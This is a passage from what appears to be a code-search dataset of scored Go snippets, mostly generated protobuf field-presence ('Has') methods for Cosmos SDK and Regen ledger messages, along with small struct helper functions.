protoreflect.FieldDescriptor) bool {\n\tswitch fd.FullName() {\n\tcase \"cosmos.group.v1beta1.MsgUpdateGroupMembers.admin\":\n\t\treturn x.Admin != \"\"\n\tcase \"cosmos.group.v1beta1.MsgUpdateGroupMembers.group_id\":\n\t\treturn x.GroupId != uint64(0)\n\tcase \"cosmos.group.v1beta1.MsgUpdateGroupMembers.member_updates\":\n\t\treturn len(x.MemberUpdates) != 0\n\tdefault:\n\t\tif fd.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: cosmos.group.v1beta1.MsgUpdateGroupMembers\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message cosmos.group.v1beta1.MsgUpdateGroupMembers does not contain field %s\", fd.FullName()))\n\t}\n}", "title": "" }, { "docid": "134b95b1011f4f90f4e78dde35a7446f", "score": "0.6052197", "text": "func (fd *FieldDescriptor) HasPresence() bool {\n\treturn fd.wrapped.HasPresence()\n}", "title": "" }, { "docid": "24fbd07809c375b0ae34b575c0d3a7f9", "score": "0.6038495", "text": "func (o *FifoTopic) HasMessageBytes() bool {\n\tif o != nil && o.MessageBytes != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "0b822faf7182b87ec5052a2612f9bdd9", "score": "0.6019468", "text": "func (msg *BridgeMessage) HasProperty(name string) bool {\n\t_, ok := msg.Properties[name]\n\treturn ok\n}", "title": "" }, { "docid": "7cbe2afbefdc114c8ff3a712204ddcf1", "score": "0.60103875", "text": "func (x *fastReflection_MsgSubmitProposal) Has(fd protoreflect.FieldDescriptor) bool {\n\tswitch fd.FullName() {\n\tcase \"cosmos.gov.v1.MsgSubmitProposal.messages\":\n\t\treturn len(x.Messages) != 0\n\tcase \"cosmos.gov.v1.MsgSubmitProposal.initial_deposit\":\n\t\treturn len(x.InitialDeposit) != 0\n\tcase \"cosmos.gov.v1.MsgSubmitProposal.proposer\":\n\t\treturn x.Proposer != \"\"\n\tcase \"cosmos.gov.v1.MsgSubmitProposal.metadata\":\n\t\treturn x.Metadata != \"\"\n\tcase \"cosmos.gov.v1.MsgSubmitProposal.title\":\n\t\treturn x.Title != \"\"\n\tcase \"cosmos.gov.v1.MsgSubmitProposal.summary\":\n\t\treturn x.Summary != \"\"\n\tcase \"cosmos.gov.v1.MsgSubmitProposal.expedited\":\n\t\treturn x.Expedited != false\n\tdefault:\n\t\tif fd.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: cosmos.gov.v1.MsgSubmitProposal\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message cosmos.gov.v1.MsgSubmitProposal does not contain field %s\", fd.FullName()))\n\t}\n}", "title": "" }, { "docid": "aa9fa8586ce3a7f062e1a93545ceba24", "score": "0.5974565", "text": "func (x *fastReflection_EventSend) Has(fd protoreflect.FieldDescriptor) bool {\n\tswitch fd.FullName() {\n\tcase \"cosmos.nft.v1beta1.EventSend.class_id\":\n\t\treturn x.ClassId != \"\"\n\tcase \"cosmos.nft.v1beta1.EventSend.id\":\n\t\treturn x.Id != \"\"\n\tcase \"cosmos.nft.v1beta1.EventSend.sender\":\n\t\treturn x.Sender != \"\"\n\tcase \"cosmos.nft.v1beta1.EventSend.receiver\":\n\t\treturn x.Receiver != \"\"\n\tdefault:\n\t\tif fd.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: cosmos.nft.v1beta1.EventSend\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message cosmos.nft.v1beta1.EventSend does not contain field %s\", fd.FullName()))\n\t}\n}", "title": "" }, { "docid": "22b1983400f390104c1df3b7bab51b02", "score": "0.59705055", "text": "func (x *fastReflection_MsgVoteWeighted) Has(fd protoreflect.FieldDescriptor) bool {\n\tswitch fd.FullName() {\n\tcase \"cosmos.gov.v1.MsgVoteWeighted.proposal_id\":\n\t\treturn x.ProposalId != uint64(0)\n\tcase \"cosmos.gov.v1.MsgVoteWeighted.voter\":\n\t\treturn x.Voter != \"\"\n\tcase \"cosmos.gov.v1.MsgVoteWeighted.options\":\n\t\treturn len(x.Options) != 0\n\tcase \"cosmos.gov.v1.MsgVoteWeighted.metadata\":\n\t\treturn x.Metadata != \"\"\n\tdefault:\n\t\tif fd.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: cosmos.gov.v1.MsgVoteWeighted\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message cosmos.gov.v1.MsgVoteWeighted does not contain field %s\", fd.FullName()))\n\t}\n}", "title": "" }, { "docid": "530a7039e6b3f1656489750196790e43", "score": "0.59692913", "text": "func (x *fastReflection_MsgCreateGroup) Has(fd protoreflect.FieldDescriptor) bool {\n\tswitch fd.FullName() {\n\tcase \"cosmos.group.v1beta1.MsgCreateGroup.admin\":\n\t\treturn x.Admin != \"\"\n\tcase \"cosmos.group.v1beta1.MsgCreateGroup.members\":\n\t\treturn len(x.Members) != 0\n\tcase \"cosmos.group.v1beta1.MsgCreateGroup.metadata\":\n\t\treturn len(x.Metadata) != 0\n\tdefault:\n\t\tif fd.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: cosmos.group.v1beta1.MsgCreateGroup\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message cosmos.group.v1beta1.MsgCreateGroup does not contain field %s\", fd.FullName()))\n\t}\n}", "title": "" }, { "docid": "0d65c888647e13f69752fd110c8392eb", "score": "0.59673536", "text": "func (o *BaseSm) HasShortMessages() bool {\n\tif o != nil && o.ShortMessages != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "87e0478ce0a50a326ab77664a819c07e", "score": "0.59595156", "text": "func (o *MicrosoftGraphInvitedUserMessageInfo) HasMessageLanguage() bool {\n\tif o != nil && o.MessageLanguage != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "dd2e0c527de500a8cd2b016cb7d5097a", "score": "0.59454", "text": "func hasField(m *descriptor.DescriptorProto, field string) bool {\n\tfor _, f := range m.GetField() {\n\t\tif f.GetName() == field {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "2776e0e423ce2eb75ee0a6a8543faf89", "score": "0.5940548", "text": "func (x *fastReflection_MsgVote) Has(fd protoreflect.FieldDescriptor) bool {\n\tswitch fd.FullName() {\n\tcase \"cosmos.gov.v1.MsgVote.proposal_id\":\n\t\treturn x.ProposalId != uint64(0)\n\tcase \"cosmos.gov.v1.MsgVote.voter\":\n\t\treturn x.Voter != \"\"\n\tcase \"cosmos.gov.v1.MsgVote.option\":\n\t\treturn x.Option != 0\n\tcase \"cosmos.gov.v1.MsgVote.metadata\":\n\t\treturn x.Metadata != \"\"\n\tdefault:\n\t\tif fd.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: cosmos.gov.v1.MsgVote\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message cosmos.gov.v1.MsgVote does not contain field %s\", fd.FullName()))\n\t}\n}", "title": "" }, { "docid": "0dbec97ae28b2091be34c2a7f47027a1", "score": "0.59297943", "text": "func HasField(data interface{}, name string) bool {\n\trv := reflect.ValueOf(data)\n\tif rv.Kind() == reflect.Ptr {\n\t\trv = rv.Elem()\n\t}\n\tif rv.Kind() != reflect.Struct {\n\t\treturn false\n\t}\n\treturn rv.FieldByName(name).IsValid()\n}", "title": "" }, { "docid": "7c3459c3844a76f804a358a9b58218d9", "score": "0.59198684", "text": "func (x *fastReflection_MsgVote) Has(fd protoreflect.FieldDescriptor) bool {\n\tswitch fd.FullName() {\n\tcase \"cosmos.group.v1beta1.MsgVote.proposal_id\":\n\t\treturn x.ProposalId != uint64(0)\n\tcase \"cosmos.group.v1beta1.MsgVote.voter\":\n\t\treturn x.Voter != \"\"\n\tcase \"cosmos.group.v1beta1.MsgVote.choice\":\n\t\treturn x.Choice != 0\n\tcase \"cosmos.group.v1beta1.MsgVote.metadata\":\n\t\treturn len(x.Metadata) != 0\n\tcase \"cosmos.group.v1beta1.MsgVote.exec\":\n\t\treturn x.Exec != 0\n\tdefault:\n\t\tif fd.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: cosmos.group.v1beta1.MsgVote\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message cosmos.group.v1beta1.MsgVote does not contain field %s\", fd.FullName()))\n\t}\n}", "title": "" }, { "docid": "361fd6242cdc5854c57aee0db33c6966", "score": "0.5883912", "text": "func (f *Form) Has(field string, r *http.Request) bool {\n\tif r.Form.Get(field) == \"\" {\n\t\treturn false\n\t}\n\treturn true\n}", "title": "" }, { "docid": "b2392617183b2f7593b6777b7290d8d5", "score": "0.58780974", "text": "func (x *fastReflection_MsgUpdateParams) Has(fd protoreflect.FieldDescriptor) bool {\n\tswitch fd.FullName() {\n\tcase \"cosmos.gov.v1.MsgUpdateParams.authority\":\n\t\treturn x.Authority != \"\"\n\tcase \"cosmos.gov.v1.MsgUpdateParams.params\":\n\t\treturn x.Params != nil\n\tdefault:\n\t\tif fd.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: cosmos.gov.v1.MsgUpdateParams\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message cosmos.gov.v1.MsgUpdateParams does not contain field %s\", fd.FullName()))\n\t}\n}", "title": "" }, { "docid": "328162289611a4fbb953f5eab42c0e59", "score": "0.5866893", "text": "func (x *fastReflection_EventUpdateProjectMetadata) Has(fd protoreflect.FieldDescriptor) bool {\n\tswitch fd.FullName() {\n\tcase \"regen.ecocredit.v1.EventUpdateProjectMetadata.project_id\":\n\t\treturn x.ProjectId != \"\"\n\tdefault:\n\t\tif fd.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: regen.ecocredit.v1.EventUpdateProjectMetadata\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message regen.ecocredit.v1.EventUpdateProjectMetadata does not contain field %s\", fd.FullName()))\n\t}\n}", "title": "" }, { "docid": "0f364ea33354472e2c8c166b80a2e4e3", "score": "0.58589226", "text": "func (x *fastReflection_MsgSubmitTx) Has(fd protoreflect.FieldDescriptor) bool {\n\tswitch fd.FullName() {\n\tcase \"regen.intertx.v1.MsgSubmitTx.owner\":\n\t\treturn x.Owner != \"\"\n\tcase \"regen.intertx.v1.MsgSubmitTx.connection_id\":\n\t\treturn x.ConnectionId != \"\"\n\tcase \"regen.intertx.v1.MsgSubmitTx.msg\":\n\t\treturn x.Msg != nil\n\tdefault:\n\t\tif fd.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: regen.intertx.v1.MsgSubmitTx\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message regen.intertx.v1.MsgSubmitTx does not contain field %s\", fd.FullName()))\n\t}\n}", "title": "" }, { "docid": "0a9df8945f66af3b4f9e7a625fb0ba39", "score": "0.5835878", "text": "func (x *fastReflection_MsgUpdateGroupMetadata) Has(fd protoreflect.FieldDescriptor) bool {\n\tswitch fd.FullName() {\n\tcase \"cosmos.group.v1beta1.MsgUpdateGroupMetadata.admin\":\n\t\treturn x.Admin != \"\"\n\tcase \"cosmos.group.v1beta1.MsgUpdateGroupMetadata.group_id\":\n\t\treturn x.GroupId != uint64(0)\n\tcase \"cosmos.group.v1beta1.MsgUpdateGroupMetadata.metadata\":\n\t\treturn len(x.Metadata) != 0\n\tdefault:\n\t\tif fd.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: cosmos.group.v1beta1.MsgUpdateGroupMetadata\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message cosmos.group.v1beta1.MsgUpdateGroupMetadata does not contain field %s\", fd.FullName()))\n\t}\n}", "title": "" }, { "docid": "08ab7de2065cf6235c1ce923e1cb9cff", "score": "0.58315766", "text": "func (wmc *WsubMessagesCfg) Exists() bool {\n\treturn wmc._exists\n}", "title": "" }, { "docid": "de3e39d4b0f8ae84e73cfadced01415c", "score": "0.5825037", "text": "func (o *Service) HasStatusMessage() bool {\n\tif o != nil && o.StatusMessage != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "de0ef46875a7f90898ea6f5cbbb684cb", "score": "0.5823283", "text": "func (x *fastReflection_EventMint) Has(fd protoreflect.FieldDescriptor) bool {\n\tswitch fd.FullName() {\n\tcase \"cosmos.nft.v1beta1.EventMint.class_id\":\n\t\treturn x.ClassId != \"\"\n\tcase \"cosmos.nft.v1beta1.EventMint.id\":\n\t\treturn x.Id != \"\"\n\tcase \"cosmos.nft.v1beta1.EventMint.owner\":\n\t\treturn x.Owner != \"\"\n\tdefault:\n\t\tif fd.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: cosmos.nft.v1beta1.EventMint\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message cosmos.nft.v1beta1.EventMint does not contain field %s\", fd.FullName()))\n\t}\n}", "title": "" }, { "docid": "0a1a93e289d49dc9257d5861df0b5f61", "score": "0.58050054", "text": "func (x *fastReflection_MsgExec) Has(fd protoreflect.FieldDescriptor) bool {\n\tswitch fd.FullName() {\n\tcase \"cosmos.group.v1beta1.MsgExec.proposal_id\":\n\t\treturn x.ProposalId != uint64(0)\n\tcase \"cosmos.group.v1beta1.MsgExec.signer\":\n\t\treturn x.Signer != \"\"\n\tdefault:\n\t\tif fd.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: cosmos.group.v1beta1.MsgExec\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message cosmos.group.v1beta1.MsgExec does not contain field %s\", fd.FullName()))\n\t}\n}", "title": "" }, { "docid": "bf512519b23edc94aefc2354c05df33b", "score": "0.5802569", "text": "func (m *MemLogger) Has(lvl logging.Level, msg string, data map[string]any) bool {\n\treturn m.Get(lvl, msg, data) != nil\n}", "title": "" }, { "docid": "4cb9db0d8510d6005647b15e53646ed8", "score": "0.5801944", "text": "func (am *AutomaticMessage) Exists() bool {\n\treturn am._exists\n}", "title": "" }, { "docid": "4484696f22512436b363146a0b057f00", "score": "0.5796671", "text": "func (x *fastReflection_EventMint) Has(fd protoreflect.FieldDescriptor) bool {\n\tswitch fd.FullName() {\n\tcase \"regen.ecocredit.v1.EventMint.batch_denom\":\n\t\treturn x.BatchDenom != \"\"\n\tcase \"regen.ecocredit.v1.EventMint.tradable_amount\":\n\t\treturn x.TradableAmount != \"\"\n\tcase \"regen.ecocredit.v1.EventMint.retired_amount\":\n\t\treturn x.RetiredAmount != \"\"\n\tdefault:\n\t\tif fd.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: regen.ecocredit.v1.EventMint\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message regen.ecocredit.v1.EventMint does not contain field %s\", fd.FullName()))\n\t}\n}", "title": "" }, { "docid": "ddc7a8144018de0b5ef6f075d36d13ed", "score": "0.57956845", "text": "func (x *fastReflection_MsgCreateProposal) Has(fd protoreflect.FieldDescriptor) bool {\n\tswitch fd.FullName() {\n\tcase \"cosmos.group.v1beta1.MsgCreateProposal.address\":\n\t\treturn x.Address != \"\"\n\tcase \"cosmos.group.v1beta1.MsgCreateProposal.proposers\":\n\t\treturn len(x.Proposers) != 0\n\tcase \"cosmos.group.v1beta1.MsgCreateProposal.metadata\":\n\t\treturn len(x.Metadata) != 0\n\tcase \"cosmos.group.v1beta1.MsgCreateProposal.msgs\":\n\t\treturn len(x.Msgs) != 0\n\tcase \"cosmos.group.v1beta1.MsgCreateProposal.exec\":\n\t\treturn x.Exec != 0\n\tdefault:\n\t\tif fd.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: cosmos.group.v1beta1.MsgCreateProposal\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message cosmos.group.v1beta1.MsgCreateProposal does not contain field %s\", fd.FullName()))\n\t}\n}", "title": "" }, { "docid": "1c949e929fa2a81e8a70b071b3e8a66b", "score": "0.5787379", "text": "func (x *fastReflection_MsgUpdateGroupPolicyMetadata) Has(fd protoreflect.FieldDescriptor) bool {\n\tswitch fd.FullName() {\n\tcase \"cosmos.group.v1beta1.MsgUpdateGroupPolicyMetadata.admin\":\n\t\treturn x.Admin != \"\"\n\tcase \"cosmos.group.v1beta1.MsgUpdateGroupPolicyMetadata.address\":\n\t\treturn x.Address != \"\"\n\tcase \"cosmos.group.v1beta1.MsgUpdateGroupPolicyMetadata.metadata\":\n\t\treturn len(x.Metadata) != 0\n\tdefault:\n\t\tif fd.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: cosmos.group.v1beta1.MsgUpdateGroupPolicyMetadata\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message cosmos.group.v1beta1.MsgUpdateGroupPolicyMetadata does not contain field %s\", fd.FullName()))\n\t}\n}", "title": "" }, { "docid": "4354a61892fe194d791f35040111c1c3", "score": "0.57813126", "text": "func (s *InfoboxFieldIDSet) Has(p InfoboxFieldID) bool {\n\tif s == nil || s.m == nil {\n\t\treturn false\n\t}\n\t_, ok := s.m[p]\n\treturn ok\n}", "title": "" }, { "docid": "bbe5c7bada3f6661be31ecdac0d73b1a", "score": "0.57807714", "text": "func (x *fastReflection_EventCreateProject) Has(fd protoreflect.FieldDescriptor) bool {\n\tswitch fd.FullName() {\n\tcase \"regen.ecocredit.v1.EventCreateProject.project_id\":\n\t\treturn x.ProjectId != \"\"\n\tdefault:\n\t\tif fd.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: regen.ecocredit.v1.EventCreateProject\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message regen.ecocredit.v1.EventCreateProject does not contain field %s\", fd.FullName()))\n\t}\n}", "title": "" }, { "docid": "c787e277c8bd48b07300c0f0713d3b55", "score": "0.5777561", "text": "func (m *zmqMsg) HasMore() bool {\n\tcint := C.zmq_msg_more((*C.zmq_msg_t)(m))\n\tif cint == C.int(1) {\n\t\treturn true\n\t}\n\treturn false\n}", "title": "" }, { "docid": "d21bcd5e2d18a003c32bc6fde367c618", "score": "0.57661766", "text": "func (x *fastReflection_MsgSubmitProposalResponse) Has(fd protoreflect.FieldDescriptor) bool {\n\tswitch fd.FullName() {\n\tcase \"cosmos.gov.v1.MsgSubmitProposalResponse.proposal_id\":\n\t\treturn x.ProposalId != uint64(0)\n\tdefault:\n\t\tif fd.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: cosmos.gov.v1.MsgSubmitProposalResponse\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message cosmos.gov.v1.MsgSubmitProposalResponse does not contain field %s\", fd.FullName()))\n\t}\n}", "title": "" }, { "docid": "aef33079837d529b6071dad2b34997b9", "score": "0.57581306", "text": "func (msg *BasicMessage) HasOptions() bool {\n\treturn len(msg.Options) > 0\n}", "title": "" }, { "docid": "48c4ff05b900dc721fad6d6bdc3fb879", "score": "0.5755563", "text": "func (o *ConnectorXmlApiMessage) HasWithAuth() bool {\n\tif o != nil && o.WithAuth != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "5b30e224c8f843861df5ba2fde9f69e0", "score": "0.5734919", "text": "func (x *fastReflection_MsgCreateProposalResponse) Has(fd protoreflect.FieldDescriptor) bool {\n\tswitch fd.FullName() {\n\tcase \"cosmos.group.v1beta1.MsgCreateProposalResponse.proposal_id\":\n\t\treturn x.ProposalId != uint64(0)\n\tdefault:\n\t\tif fd.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: cosmos.group.v1beta1.MsgCreateProposalResponse\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message cosmos.group.v1beta1.MsgCreateProposalResponse does not contain field %s\", fd.FullName()))\n\t}\n}", "title": "" }, { "docid": "aa70c2f4b71f379ec7ad158a379da47d", "score": "0.57326984", "text": "func (o *BasicStream) HasMessageRetentionDays() bool {\n\tif o != nil && o.MessageRetentionDays != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "8c5b97d4e8f116a0597b11af5e00ac0d", "score": "0.57314277", "text": "func (o *SmsReport) HasSmsCount() bool {\n\tif o != nil && o.SmsCount != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "b5e360f07deb6c1e15bc3e0b59868036", "score": "0.57224923", "text": "func (x *fastReflection_MsgWithdrawProposal) Has(fd protoreflect.FieldDescriptor) bool {\n\tswitch fd.FullName() {\n\tcase \"cosmos.group.v1beta1.MsgWithdrawProposal.proposal_id\":\n\t\treturn x.ProposalId != uint64(0)\n\tcase \"cosmos.group.v1beta1.MsgWithdrawProposal.address\":\n\t\treturn x.Address != \"\"\n\tdefault:\n\t\tif fd.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: cosmos.group.v1beta1.MsgWithdrawProposal\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message cosmos.group.v1beta1.MsgWithdrawProposal does not contain field %s\", fd.FullName()))\n\t}\n}", "title": "" }, { "docid": "ffd1e478a3313beb599bc0cd77b9c353", "score": "0.5708117", "text": "func HasField(obj interface{}, name string) (has bool) {\n\treturn HasAnyField(obj, name)\n}", "title": "" }, { "docid": "8a51bde381ddbfcf2373e6344da6bd76", "score": "0.56943846", "text": "func (x *fastReflection_EventUpdateProjectAdmin) Has(fd protoreflect.FieldDescriptor) bool {\n\tswitch fd.FullName() {\n\tcase \"regen.ecocredit.v1.EventUpdateProjectAdmin.project_id\":\n\t\treturn x.ProjectId != \"\"\n\tdefault:\n\t\tif fd.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: regen.ecocredit.v1.EventUpdateProjectAdmin\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message regen.ecocredit.v1.EventUpdateProjectAdmin does not contain field %s\", fd.FullName()))\n\t}\n}", "title": "" }, { "docid": "22fea27823f9ab3d786549fd9716756f", "score": "0.5689527", "text": "func (o *TelemetryDruidFieldAccessorPostAggregator) HasFieldName() bool {\n\tif o != nil && o.FieldName != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "13682f0ec05d8a1913a602ea323496c5", "score": "0.56890166", "text": "func (x *fastReflection_MsgCreateGroupPolicy) Has(fd protoreflect.FieldDescriptor) bool {\n\tswitch fd.FullName() {\n\tcase \"cosmos.group.v1beta1.MsgCreateGroupPolicy.admin\":\n\t\treturn x.Admin != \"\"\n\tcase \"cosmos.group.v1beta1.MsgCreateGroupPolicy.group_id\":\n\t\treturn x.GroupId != uint64(0)\n\tcase \"cosmos.group.v1beta1.MsgCreateGroupPolicy.metadata\":\n\t\treturn len(x.Metadata) != 0\n\tcase \"cosmos.group.v1beta1.MsgCreateGroupPolicy.decision_policy\":\n\t\treturn x.DecisionPolicy != nil\n\tdefault:\n\t\tif fd.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: cosmos.group.v1beta1.MsgCreateGroupPolicy\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message cosmos.group.v1beta1.MsgCreateGroupPolicy does not contain field %s\", fd.FullName()))\n\t}\n}", "title": "" }, { "docid": "4d00876c1ea1247655c26c1da067a143", "score": "0.56801337", "text": "func (x *fastReflection_MsgDeposit) Has(fd protoreflect.FieldDescriptor) bool {\n\tswitch fd.FullName() {\n\tcase \"cosmos.gov.v1.MsgDeposit.proposal_id\":\n\t\treturn x.ProposalId != uint64(0)\n\tcase \"cosmos.gov.v1.MsgDeposit.depositor\":\n\t\treturn x.Depositor != \"\"\n\tcase \"cosmos.gov.v1.MsgDeposit.amount\":\n\t\treturn len(x.Amount) != 0\n\tdefault:\n\t\tif fd.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: cosmos.gov.v1.MsgDeposit\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message cosmos.gov.v1.MsgDeposit does not contain field %s\", fd.FullName()))\n\t}\n}", "title": "" }, { "docid": "52a43405397e63466a84fa1480dd32b0", "score": "0.5678882", "text": "func (o *BasicStream) HasInviteOnly() bool {\n\tif o != nil && o.InviteOnly != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "fe48513b17acdcad31d665890301e7b9", "score": "0.56713843", "text": "func (f InterfaceRevisionQueryFields) Has(flag InterfaceRevisionQueryFields) bool { return f&flag != 0 }", "title": "" }, { "docid": "aec9bf7cdcd4307fc896aa995013f9b5", "score": "0.5667475", "text": "func (s TypeSet) HasM(m dogma.Message) bool {\n\treturn s.Has(TypeOf(m))\n}", "title": "" }, { "docid": "7e8d29ef54d5f56b53d5cc40c8646c20", "score": "0.5644395", "text": "func (x *fastReflection_MsgVoteWeightedResponse) Has(fd protoreflect.FieldDescriptor) bool {\n\tswitch fd.FullName() {\n\tdefault:\n\t\tif fd.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: cosmos.gov.v1.MsgVoteWeightedResponse\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message cosmos.gov.v1.MsgVoteWeightedResponse does not contain field %s\", fd.FullName()))\n\t}\n}", "title": "" }, { "docid": "a4107a0541fa998b8b2b821595e639dd", "score": "0.56426215", "text": "func (x *fastReflection_MsgCancelProposal) Has(fd protoreflect.FieldDescriptor) bool {\n\tswitch fd.FullName() {\n\tcase \"cosmos.gov.v1.MsgCancelProposal.proposal_id\":\n\t\treturn x.ProposalId != uint64(0)\n\tcase \"cosmos.gov.v1.MsgCancelProposal.proposer\":\n\t\treturn x.Proposer != \"\"\n\tdefault:\n\t\tif fd.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: cosmos.gov.v1.MsgCancelProposal\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message cosmos.gov.v1.MsgCancelProposal does not contain field %s\", fd.FullName()))\n\t}\n}", "title": "" }, { "docid": "c73a58fb4244493c944282fcda8aac94", "score": "0.5640762", "text": "func (x *fastReflection_MsgCreateGroupResponse) Has(fd protoreflect.FieldDescriptor) bool {\n\tswitch fd.FullName() {\n\tcase \"cosmos.group.v1beta1.MsgCreateGroupResponse.group_id\":\n\t\treturn x.GroupId != uint64(0)\n\tdefault:\n\t\tif fd.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: cosmos.group.v1beta1.MsgCreateGroupResponse\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message cosmos.group.v1beta1.MsgCreateGroupResponse does not contain field %s\", fd.FullName()))\n\t}\n}", "title": "" }, { "docid": "7df3ac6c5b40f1fbffb5030159b823a1", "score": "0.5632538", "text": "func (o *MessagesBase) HasId() bool {\n\tif o != nil && o.Id != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "dc1038f584025887331936174b781661", "score": "0.5626291", "text": "func HasRecvMessage(peerID peer.ID, hash uint32) bool {\n\treturn HasKey(fmt.Sprintf(\"%s-%d\", peerID, hash))\n}", "title": "" }, { "docid": "5f22373503a666d4ff9fc1fd58f5251c", "score": "0.5623694", "text": "func (m Message) IsZero() bool {\n\treturn len(m.To) == 0\n}", "title": "" }, { "docid": "e269c8b0c482681f7fde5176386ae28a", "score": "0.5620127", "text": "func (o *MessagesBase) HasSubmessages() bool {\n\tif o != nil && o.Submessages != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "ecae462a0c07742fefc9f674003dc35d", "score": "0.5616832", "text": "func (o *ProtobufStruct) HasFields() bool {\n\tif o != nil && o.Fields != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "91509631947bfdd522322795fce445f2", "score": "0.561098", "text": "func (x *fastReflection_TestUpdatedTxBody) Has(fd protoreflect.FieldDescriptor) bool {\n\tswitch fd.FullName() {\n\tcase \"testpb.TestUpdatedTxBody.messages\":\n\t\treturn len(x.Messages) != 0\n\tcase \"testpb.TestUpdatedTxBody.memo\":\n\t\treturn x.Memo != \"\"\n\tcase \"testpb.TestUpdatedTxBody.timeout_height\":\n\t\treturn x.TimeoutHeight != int64(0)\n\tcase \"testpb.TestUpdatedTxBody.some_new_field\":\n\t\treturn x.SomeNewField != uint64(0)\n\tcase \"testpb.TestUpdatedTxBody.some_new_field_non_critical_field\":\n\t\treturn x.SomeNewFieldNonCriticalField != \"\"\n\tcase \"testpb.TestUpdatedTxBody.extension_options\":\n\t\treturn len(x.ExtensionOptions) != 0\n\tcase \"testpb.TestUpdatedTxBody.non_critical_extension_options\":\n\t\treturn len(x.NonCriticalExtensionOptions) != 0\n\tdefault:\n\t\tif fd.IsExtension() {\n\t\t\tpanic(fmt.Errorf(\"proto3 declared messages do not support extensions: testpb.TestUpdatedTxBody\"))\n\t\t}\n\t\tpanic(fmt.Errorf(\"message testpb.TestUpdatedTxBody does not contain field %s\", fd.FullName()))\n\t}\n}", "title": "" }, { "docid": "6dc02488339d124a996346754f908afa", "score": "0.5609884", "text": "func (o *CustomfieldResponse) HasCustomfield() bool {\n\tif o != nil && o.Customfield != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "5763c0d70e57b634acfb2539316aa8be", "score": "0.5606218", "text": "func (x *fastReflection_MsgCreateGroupPolicyResponse) Has(fd protoreflect.FieldDescriptor) bool {\n\tswitch fd.FullName() {\n\tcase 